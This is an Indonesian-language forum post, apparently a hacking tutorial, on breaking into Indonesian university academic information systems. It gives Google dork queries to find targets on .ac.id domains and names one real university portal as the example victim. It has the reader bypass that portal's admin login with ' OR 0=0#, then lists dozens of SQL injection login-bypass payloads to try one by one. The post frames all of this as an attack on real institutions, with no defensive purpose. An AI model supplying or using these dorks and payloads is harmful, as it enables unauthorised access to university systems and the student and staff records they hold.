SQL Injection Site ac.id

kali ni 'anonymous'akan meng-share exploit dari bang Barrabravaz dari surabayablackhat exploit ini memang baru dishare di forum tapi banyak kurang mengerti bagaimana caranya :

pertama kita masukkan google dork berikut

Code:

inurl:"/index.php?mnux="
inurl:"/index.php?mnux=" site:ac.id
USE YOUR BRAIN

atau klik disini
banyak disitu targetnya kan kita pilih salah satu aja dan gak semua bisa diexploit lho :




kali ini saya akan memberi satu contoh yaitu : SIA UNIVERSITAS TULUNGAGUNG

nah digambar tadi ada kan SIA UNIVERSITAS TULUNGAGUNG kita klik saja pasti masuk halaman login seperti ini :



kita akan exploit dengan Remote Sql Injection gimana caranya yaitu dengan user dan passwrod bypass admin login

user : ' OR 0=0#
pass : ' OR 0=0#




kita cobak login bisa kan login dengan user dan password itu :wus::wus:




tara kita masuk dech, tapi gak pasti kita masuk kadang jadi superuser, admin, dan mahasiswa , hhehehehe

nih berikut user password list SQL injection Baypass

Code:

admin'--
= 'or' 1=1
' or 1=1--
'" or 1=1--
' union select 1, 'Eyeless', 'ez2do', 1--
admin'--
administrator'--
superuser'--
test'--
' or 0=0 --
' or 0=0 --'
' or 0=0 #
" or 0=0 --
" or 0=0 --'
'" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
" or 1=1--
or 1=1--
' or a=a--'
' or a=a #
' or a=a--
' or "a"="a
' or 'a'='a
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

pokoknya kita cobak satu persatu aja siapa tahu nyantol